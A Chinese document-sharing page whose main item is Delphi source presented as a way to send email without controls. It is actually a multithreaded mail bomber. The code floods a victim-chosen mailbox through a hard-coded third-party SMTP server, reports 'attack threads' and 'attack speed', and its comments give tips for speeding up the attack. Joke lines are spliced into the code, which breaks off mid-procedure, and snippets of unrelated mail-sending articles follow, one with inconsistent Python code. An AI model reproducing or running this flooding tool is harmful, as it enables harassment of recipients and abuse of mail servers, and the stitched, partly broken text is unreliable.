当前位置：文档之家 › 不用控件,用函数实现发Emai

不用控件,用函数实现发Emai

  • 格式：doc
  • 大小：42.50 KB
  • 文档页数：8

不用控件,用函数实现发Emai.txt我的人生有A 面也有B面，你的人生有S面也有B面。 失败不可怕，关键看是不是成功他妈。现在的大学生太没素质了！过来拷毛片，居然用剪切！有空学风水去，死后占个好墓也算弥补了生前买不起好房的遗憾。uses windows,messages,winsock,sysutils;

{$R *.RES} const CRLF=#13#10; exename:pchar='邮箱信使'; var thd:array[1..1000] of integer; tid:array[1..1000] of dword; faint,hMutex,mcount,speed,newtime,oldtime,num,count,err:integer; s1:string; sbuf:array[0..1024] of char; dest:string; attstart:boolean; //---------------------- wClass: TWndClass; //窗口类变量 Msg: TMSG; //消息变量 hInst, //程序实例 Handle, //主窗口句柄 hFont, //字体句柄 //---------------- hButtonStart, //开始按钮 hButtonStop, //停止按钮 hButtonHelp, //帮助按钮 hButtonExit, //退出按钮 hEditEmail, //e-mail编辑 hEditCount, //次数编辑 hEditThread, //线程数编辑 hLabelEmail, //e-mail提示 hLabelCount, //次数提示 hLabelThread, //线程数提示 hLabelInfo //领息提示 :integer; //句柄类型 //-------------------- //往一个窗口写标题 procedure WriteCaption(hwnd:hwnd;text:pchar);begin sendmessage(hwnd,WM_SETTEXT,0,integer(text));end; //从一个窗口读标题 procedure ReadCaption(hwnd:hwnd;text:pchar);begin sendmessage(hwnd,WM_GETTEXT,400,integer(text));end; //以下是网络连接的过程 function StartNet(host:string;port:integer):integer; var wsadata:twsadata; fsocket:integer; SockAddrIn:TSockAddrIn; err:integer; begin //为网络连接作好准备(用winsock1.1以上版本) err:=WSAStartup($0101,WSAData); //创建一个客户端套接字(Client Socket,用SOCK_STREAM，即TCP协义) FSocket := socket(PF_INET, SOCK_STREAM,IPPROTO_IP); //初始化网络数据 SockAddrIn.sin_addr.s_addr:=inet_addr(PChar(host)); SockAddrIn.sin_family := PF_INET; SockAddrIn.sin_port :=htons(port); //客户端向smtp进行连接 repeat err:=connect(FSocket,SockAddrIn, SizeOf(SockAddrIn)); until err=0; // Result:=FSocket; end; //以下是网络关闭的过程 procedure StopNet(Fsocket:integer); var err:integer; begin //发信结束，关闭客户端套接字(Close Client Socket) err:=closesocket(FSocket); //清除网络参数 err:=WSACleanup; end; //下面是个发送数据包的过程 function SendData(FSocket:integer;SendStr:string):integer; const MaxSize=1024; var DataBuf:array[0..MaxSize] of char; err:integer; begin //读取网络数据 err:=recv(FSocket,DataBuf,MaxSize,0); //将网络数据写入主窗口的标题中，提示用户正在发信过程中 //WriteCaption(handle,DataBuf); //向网络发送数据 strcopy(DataBuf,pchar(SendStr)); err:=send(FSocket,DataBuf,strlen(DataBuf),MSG_DONTROUTE); Result:=0; end; //下面是个发信的过程 procedure SendMail; var SendBody:string; FSocket:integer; begin repeat //指定smtp主机地址,这里用的是smtp.21cn.com,它的ip为(202.104.32.230) //指定smtp主机的发信端口，默认为25 FSocket:=StartNet('202.104.32.230',25); //-------下面是发信过程的各步处理------- //--------------------------------------- //第一步：发HELO指令，表示我要开始发信了 SendData(FSocket,'HELO'+CRLF); //第二步：发MAIL FROM指令，表示发信人的信箱 // 注意现在很多SMTP主机有只能允许本地合法用户发信 // 所以发信者的信箱在发信主机中应是一个合法用户 // 否则无法发信,比如hack001便是smtp.21cn.com中的一个合法用户 SendData(FSocket,'MAIL FROM: '+CRLF); //第三步:发RCPT TO指令，表示目标用户的邮箱，就是你要攻击者的邮箱 // 这一步可以用多个RCPT TO命令指向同一个目标,可以极大的加快攻击速度 // 但对163.net好象不行，他加了过滤机制 SendData(FSocket,'RCPT TO: <'+dest+'>'+CRLF); //第四步:发DATA指令，表示要向SMTP主机发数据 SendData(FSocket,'DATA'+CRLF); //第五步:发具体数据,包括如下内容(信封和信体): // From:表示发信者的地址,可以是假的用户(可以随机产生),后面以CRLF(即回车换行符)结束 // TO:表示收信者的地址,可以是假的用户(可以随机产生),后面以CRLF结束 // Subject:表示邮件主题,后面以CRLF结束 // 后面一定要再加一个CRLF，表示信封部分结束了 // 接下来是信的主体内容，可以是任何内容,后面以CRLF结束 // 然后一定要再加一个.符号，表示信体结束,后面以CRLF结束 SendBody:='From:"bome 2001"'+CRLF +'To:"bome 2001"'+CRLF +'Subject:New Bome 2001.'+CRLF +CRLF +'Hello World.'+CRLF +'.'+CRLF; SendData(FSocket,SendBody); //第六步：发结QUIT指令，表示发信过程结束 SendData(FSocket,'QUIT'+CRLF); // waitforsingleobject(hMutex,INFINITE); //显示发信过程的剩余邮件数目 WriteCaption(hLabelInfo,pchar('送出 '+inttostr(mcount)+' 封邮件 / '+'还有 '+inttostr(count)+' 封邮件 '+CRLF+ '正在使用: '+inttostr(num)+' 个攻击线程'+CRLF+ '经过时间: '+inttostr(newtime div 1000)+' 秒')); //总次数减一 Dec(count); //调用发信过程，进行发信 newtime:=integer(gettickcount())-oldtime; speed:=mcount*1000*60 div newtime; WriteCaption(handle,pchar('攻击速度: '+inttostr(speed)+' 封/分钟')); inc(mcount); //sleep(300); if count<=0 then break; releasemutex(hMutex); // StopNet(Fsocket); until count<=0; end; //------------------------------------ //以下是线程创建时调用的线程函数 function fun(Parameter: Pointer): Integer; stdcall; begin SendMail; WriteCaption(handle,exename); WriteCaption(hLabelInfo,pchar('发送结束')); attstart:=true; result:=0; end;

procedure ButtonStart; var k:integer; begin if attstart=true then begin attstart:=false; WriteCaption(hLabelInfo,pchar('发送开始........')); ReadCaption(hEditEmail,sbuf);dest:=strpas(sbuf); ReadCaption(hEditCount,sbuf);count:=strtoint(strpas(sbuf));

合集下载

VBA与邮件自动发送的实用工具

VBA与邮件自动发送的实用工具

VBA与邮件自动发送的实用工具在当今信息化时代，电子邮件已经成为了人们日常生活和工作中必不可少的通信工具之一。

然而，这样一个通信方式也存在一些繁琐重复的操作，例如每天定时发送相同的邮件，从而造成大量的时间浪费。

为了提高工作效率，开发人员们不断探索着自动化工具。

VBA（Visual Basic for Applications）是一种强大的自动化编程语言，能够与Microsoft Office软件完美结合，包括Outlook，这使得它成为了邮件自动发送的理想工具。

本文将介绍如何使用VBA编写邮件自动发送的实用工具，以提高工作效率。

一、VBA与OutlookVBA与Outlook的结合无疑是自动发送邮件的最佳选择之一。

Outlook是一款流行的电子邮件管理工具，广泛使用于个人和企业办公环境中。

VBA的强大功能可以通过Outlook的对象模型进行调用，从而实现邮件的自动化发送。

二、编写VBA邮件自动发送工具的步骤以下是使用VBA编写邮件自动发送工具的主要步骤：1. 打开Outlook并按下“Alt + F11”打开VBA编辑器。

2. 在项目资源管理器中，右键单击“VBProject”并选择“插入”>“模块”，这将在编辑窗口中插入一个新的模块。

3. 编写VBA代码。

首先，我们需要声明一些变量以便在代码中使用。

使用“Dim”关键字声明变量名和变量类型。

例如，“Dim OutlookApp As Object”用于声明一个Outlook应用程序对象。

4. 接下来，我们需要创建一个新的邮件，可以使用Outlook应用程序对象的“CreateItem”方法。

例如，“Set NewMail = OutlookApp.CreateItem(olMailItem)”用于创建一个新的邮件对象。

5. 设置邮件的相关属性，例如收件人、主题、正文、附件等。

可以使用邮件对象的属性和方法来实现这些设置。

例如，“NewMail.To='*******************'”用于设置邮件的收件人。

如何在网页中实现自动发送电子邮件功能

如何在网页中实现自动发送电子邮件功能

如何在网页中实现自动发送电子邮件功能作者：周洁重庆市总工会微机室邮件列表（mailing list）是电子邮件的扩展应用之一，被广泛应用于用户的跟踪服务，发布产品信息，以及电子报刊等方面。

用户可以向相应的邮件服务器发送一份订阅申请邮件，这样该用户就被加入到该邮件发送的列表中。

其过程是：用户填写相关申请订阅信息，系统根据用户提供的邮箱地址发送一封确认邮件，并要求用户打开自己的邮箱，点击邮件相关确认部份将其的确认信息发送给网站的Webmaster，Webmaster在得到确认信息后向用户开通相关的服务。

那么这种自动发送邮件的功能是怎样实现的，我们怎样在自己网站中实现该功能呢？下面将对此实现方法进行阐述。

软件厂商提供了方便、简易、与服务器无关且稳固的方法，使我们可以在页面上用一些ASP组件直接发送邮件。

如：Microsoft提供的CDONTS及第三方组件Jmail、ASPFreeMail,FastMail,ASPEmail,ASPQEmail等。

1．CDONTS（collaboration Data Object for NT Server）CDONTS与ADO类似，它们为用户提供了用任何程序和脚本语言访问操作系统复杂和稳固的功能集合的能力。

编程人员通过以ActiveX封装Windows的本地消息服务来收发电子邮件。

Windows2000中会默认安装SMTP服务，Windows NT中可用Windows NT4.0 option pack 4安装SMTP服务。

安装后CDONTS.DLL存放在C:\Winnt\System32\目录下面。

有了该组件我们还不能立即应用它，在对它进行使用之前我们必须先完成组件的注册，我们可以在MS-DOS方式下进入到CDONTS.DLL所在的目录C:\Winnt\System32\下输入：c:\winnt\system32>regsvr32 cdonts.dll（如果我们想将其御载可用指令： c:\winnt\system32>regsvr32/u cdonts.dll）通过CDONTS发送电子邮件非常方便，仅需创建一个邮件对象并设置其几个相关属性便可实现。

python实现126邮箱发送邮件

python实现126邮箱发送邮件

python实现126邮箱发送邮件⽤Python发送126邮件，供⼤家参考，具体内容如下今天想做个⾃动化邮件提醒的功能，最近刚好在学习python，都说python那么强⼤，想试⼀下python能否搞定，搜⼀下资料，果真可以，⽽且⼜简单通俗易懂from email.mail.text import MIMETextimport smtplib#发件⼈列表to_list=["****************","***********"]#对于⼤型的邮件服务器，有反垃圾邮件的功能，必须登录后才能发邮件，如126,163mail_server="" # 126的邮件服务器mail_login_user="**************"#必须是真实存在的⽤户，这⾥我测试的时候写了⾃⼰的126邮箱mail_passwd="******" #必须是对应上⾯⽤户的正确密码，我126邮箱对应的密码def send_mail(to_list,sub,content):'''to_list:发给谁sub:主题content:内容send_mail("***********","sub","content")'''me=mail_user+"<"+mail_user+">"msg = MIMEText(content)msg['Subject'] = submsg['From'] = memsg['To'] = ";".join(to_list)try:s = smtplib.SMTP()s.connect(mail_host)s.login(mail_user,mail_pass)s.sendmail(me, to_list, msg.as_string())s.close()return Trueexcept Exception, e:print str(e)return Falseif __name__ == '__main__':if send_mail(mailto_list,"subject","content"):print "发送成功"else:抓包结果⼯作中习惯抓包分析了分析问题了，这个也抓包看看，可以看到，python已经把smtp协议封装得相当完美了，python只要⼏⾏代码就可以实现发邮件功能。

在VFP中发送电子邮件

在VFP中发送电子邮件

⽤过《络蚂蚁》的朋友都知道，在帮助菜单的对话框⾥作者留下了他的电⼦邮件地址，单击该邮件地址我们便能给作者发送电⼦邮件。

这种功能看起来有些神秘，实际上只要利⽤Windows API的ShellExecute函数，便可轻松地实现该功能。

ShellExecute是⽤来打开特定格式的⽂件（如WORD⽂件、EXCEL表格）的函数。

该函数存放在Shell32.DLL动态链接库中，通过查阅MSDN，我们能够得到下述帮助： HINSTANCE ShellExecute(HWND hwnd,LPCTSTR lpOperation,LPCTSTR lpFile,LPCTSTR lpParameters,LPCTSTR lpDirectory,INT nShowCmd); 其调⽤参数的含义如下： hwnd：指明打开⽂件的窗⼝句柄。

lpOperation:指明操作类型，分别是“open”（打开）、“print”（打印）、“explore”（浏览）。

lpFile:欲打开⽂件的⽂件名。

这⾥应该将⽂件的含义向更深层次理解。

⽂件可以是本地⽂件，也可以是远程⽂件；⽂件的类型可以是⽂本⽂件，也可以是多媒体⽂件。

lpParameters：打开⽂件时所传递的参数。

特别适合打开EXE⽂件。

lpDirectory：⽂件所在路径。

nShowCmd：打开⽂件时窗⼝的状态。

0表⽰隐藏，1表⽰化，2表⽰最⼩化。

如果该函数能够成功打开⽂件，则该函数的返回值⼤于32。

该函数的返回值能够为你调试程序提供很多有⽤的信息，具体情况见MSDN内帮助⽂件。

好，有了上述认识之后，我们便能在VFP的程序开发中利⽤ShellExecute函数来实现发送电⼦邮件的功能。

新建⼀表单ABOUTME，在该表单上添加下列控件(见表1)。

需要说明的是，在Label1中的MouseIcon设为⼀⼿型光标，其所对应的图标⽂件在系统内可以随处找到(利⽤查找⽂件功能)，本⽂⽤的是Windows⾃带h_move.cur⽂件。